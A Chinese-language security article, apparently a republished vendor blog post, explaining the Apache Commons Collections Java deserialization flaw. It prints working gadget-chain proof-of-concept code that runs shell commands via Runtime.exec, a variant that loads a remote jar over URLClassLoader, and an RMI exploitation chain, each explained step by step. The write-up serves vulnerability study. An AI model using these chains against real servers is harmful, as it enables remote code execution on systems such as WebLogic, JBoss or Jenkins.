Java反序列化漏洞详解

安全 漏洞
本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。

[[171784]]

 

Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。

Java反序列化漏洞简介

  • Java序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。
  • Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。

因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。

Java反序列化Poc详解

  1. public class test { 
  2.     public static void main(String[] args) throws Exception { 
  3.     String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" }; 
  4.     Transformer[] transformers = new Transformer[] { 
  5.         new ConstantTransformer(Runtime.class), 
  6.         new InvokerTransformer( 
  7.             "getMethod",  
  8.             new Class[] {String.class, Class[].class },  
  9.             new Object[] {"getRuntime", new Class[0] } 
  10.         ), 
  11.         new InvokerTransformer( 
  12.             "invoke",  
  13.             new Class[] {Object.class,  
  14.             Object[].class }, new Object[] {null, null } 
  15.         ), 
  16.         new InvokerTransformer( 
  17.             "exec",  
  18.             new Class[] {String[].class },  
  19.             new Object[] { execArgs } 
  20.         ) 
  21.      }; 
  22.     Transformer transformedChain = new ChainedTransformer(transformers); 
  23.   
  24.     Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); 
  25.     BeforeTransformerMap.put("hello", "manning"); 
  26.   
  27.     Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 
  28.   
  29.     Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
  30.   
  31.     Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 
  32.     ctor.setAccessible(true); 
  33.     Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 
  34.   
  35.     File f = new File("temp.bin"); 
  36.     ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 
  37.     out.writeObject(instance); 
  38.   

如果想彻底理解上面的poc,需要明白Java中的一些概念。

在Apache commons工具包中有很多jar包(jar包可以理解为python的库),具体jar包里面含有的内容,如下图所示。

其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等。换一种理解方式,collection是set,list,queue的抽象,collection中文含义是收集的意思,那么收集的具体方式就可以是set,list,queue了。

在org.apache.commons.collections内提供了一个接口类叫Transformer,这个接口的英文定义为

Defines a functor interface implemented by classes that transform one object into another.

也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类,如下如所示。

图上带箭头指示的为Java反序列化漏洞的poc含有的类。

  • ConstantTransformer

          Transformer implementation that returns the same constant each time. (把一个对象转化为常量,并返回)

  • InvokerTransformer

          Transformer implementation that creates a new object instance by reflection. (通过反射,返回一个对象)

  • ChainedTransformer

          Transformer implementation that chains the specified transformers together. (把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行           转换)

有了以上的相关概念,就可以理解最开始的poc了。poc里面,我们一共创建了以下关键对象。

  • execArgs

          待执行的命令数组

  • transformers

          一个transformer链,包含预设转化逻辑(各类transformer对象)的转化数组

  • transformedChain

          ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作

  • BeforeTransformerMap

          Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict理解即可

  • AfterTransformerMap

          Map数据结构,转换后的Map

整个poc的逻辑可以这么理解,构建了BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,可以对Map数据结构的key,value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

上图是调试时的转换变量内容,可以很清楚地看到执行完poc后,已经对Map的value进行了转换(过了一遍transformer链)。

poc中对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行。

在进行反序列化时,我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。

结合前述Commons Collections的特性,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。

因此我们在poc中看见了下行的代码。

  1. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 

这个类完全符合我们的要求,具体解释可以查看TSRC的文章。

如果要实现一个可控的poc,需要对transformer链的构造进行理解。首先来看InvokerTransformer。

  1. InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 

参数依次为:方法名称,参数类型,参数对象 我们找其中一个来看下。

  1. new InvokerTransformer( 
  2.     "getMethod",  
  3.     new Class[]  {String.class, Class[].class },  
  4.     new Object[] {"getRuntime", new Class[0] } 
  5. ), 
  6. new InvokerTransformer( 
  7.     "invoke",  
  8.     new Class[] {Object.class, Object[].class },  
  9.     new Object[] {null, null } 
  10. ), 
  11. new InvokerTransformer( 
  12.     "exec",  
  13.     new Class[] {String.class },  
  14.     new Object[] {"gedit"} 

参数类型里面的内容完全对应于参数对象里的内容。

PS:由于Method类的invoke(Object obj,Object args[])方法的定义,所以在反射内写new Class[] {Object.class, Object[].class }。

所以正常流程如下所示:

  1. ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 

基于报错的反序列化transformer链

  1. Transformer[] transformers = new Transformer[] { 
  2. new ConstantTransformer(Java.net.URLClassLoader.class), 
  3. new InvokerTransformer( 
  4.     "getConstructor",  
  5.     new Class[] {Class[].class},  
  6.     new Object[] {new Class[]{Java.net.URL[].class}} 
  7. ), 
  8. new InvokerTransformer( 
  9.     "newInstance",  
  10.     new Class[] {Object[].class},  
  11.     new Object[] { new Object[] { new Java.net.URL[] { new Java.net.URL(url) }}} 
  12. ), 
  13. new InvokerTransformer( 
  14.     "loadClass", 
  15.     new Class[] { String.class },  
  16.     new Object[] { "ErrorBaseExec" } 
  17. ), 
  18. new InvokerTransformer( 
  19.     "getMethod", 
  20.     new Class[]{String.class, Class[].class},  
  21.     new Object[]{"do_exec", new Class[]{String.class}} 
  22. ), 
  23. new InvokerTransformer( 
  24.     "invoke", 
  25.     new Class[]{Object.class, Object[].class},  
  26.     new Object[]{null, new String[]{cmd}} 
  27. };  
  28.   

有了先前的理解,很明了了。先建立一个读取远程jar文件的类 URLClassLoader,实例化这个类,传入要访问的url,再读取远程加载类,接着获取类方法,然后反射这个方法。

关于RMI利用的相关内容

tang3已经在RMI利用文章讲过怎么利用了,这段内容,我只是详解下给出的poc的原理。

poc部分内容

  1. Transformer transformedChain = new ChainedTransformer(transformers); 
  2.   
  3. Map BeforeTransformerMap = new HashMap(); 
  4. innerMap.put("value", "value"); 
  5. Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 
  6.   
  7. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
  8. Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 
  9. ctor.setAccessible(true); 
  10. Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 
  11.   
  12. InvocationHandler h = (InvocationHandler) instance; 
  13. Remote r = Remote.class.cast(Proxy.newProxyInstance( 
  14.                         Remote.class.getClassLoader(),  
  15.                         new Class[]{Remote.class},  
  16.                         h)); 
  17. try{ 
  18. Registry registry = LocateRegistry.getRegistry(ip, port); 
  19. registry.rebind("", r); // r is remote obj 
  20. catch (Throwable e) { 
  21. e.printStackTrace(); 
  22. }            
  23.   

RMI利用的poc看上去还是很熟悉的,因为到建立instance时,还和之前的内容一致。之后便到了RMI内容独有的细节,从代码角度可以看出利用逻辑为:

  • 建立实例对象instance
  • 实例对象instance 转化为 InvocationHandler类型的句柄h(因为instance是序列化后的内容,所以instance就是一串数据)
  • 把句柄h附载到Remote类实例 r上
  • 向远程服务器注册,得到远程注册对象 registry
  • 向远程注册对象registry注册 实例r

在Java的RMI中,我们允许向远程已运行的jvm虚拟环境中绑定(rebind函数,也可以理解为添加)一些实例对象,通过RMI协议传输一些序列化好的内容,这样服务端解析(也就是反序列化)传过来的数据后,便可把解析后的内容添加到运行环境中。构造remote类型实例r 方法很多,poc中利用动态代理创建remote实例r是方法之一。

因此涉及RMI的代码也会存在Java反序列化漏洞。

漏洞影响分析

Java反序列化漏洞从爆出到现在快2个月了。最开始的只能命令执行和反弹shell,到后来的有回显的命令执行,到最终的代码执行,利用上来是越来越方便(有回显的命令执行和代码执行均为利用远程jar文件的利用形式)。从微博来看,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。待最终利用工具公布,此漏洞还会有一个上升趋势的影响。

资料引用

  • http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
  • http://security.tencent.com/index.php/blog/msg/97
  • http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  • http://www.infoq.com/cn/articles/cf-java-object-serialization-rmi
  • http://blog.nsfocus.net/learning-guide-java-serialization-de-serialization-vulnerability-remediation/
  • http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
责任编辑:赵宁宁 来源: 绿盟科技博客
相关推荐

2021-10-20 07:18:50

Java 序列化漏洞

2009-08-06 11:16:25

C#序列化和反序列化

2024-09-10 08:28:22

2022-08-06 08:41:18

序列化反序列化Hessian

2018-03-19 10:20:23

Java序列化反序列化

2009-09-09 15:47:27

XML序列化和反序列化

2009-06-14 22:01:27

Java对象序列化反序列化

2011-06-01 15:05:02

序列化反序列化

2009-08-24 17:14:08

C#序列化

2016-01-05 15:10:59

2011-05-18 15:20:13

XML

2023-12-13 13:49:52

Python序列化模块

2010-03-19 15:54:21

Java Socket

2019-08-12 06:41:26

PHP反序列化漏洞

2011-06-01 14:50:48

2019-11-20 10:07:23

web安全PHP序列化反序列化

2009-08-25 14:24:36

C#序列化和反序列化

2021-11-18 07:39:41

Json 序列化Vue

2009-08-25 14:43:26

C#序列化和反序列化

2012-04-13 10:45:59

XML
点赞
收藏

51CTO技术栈公众号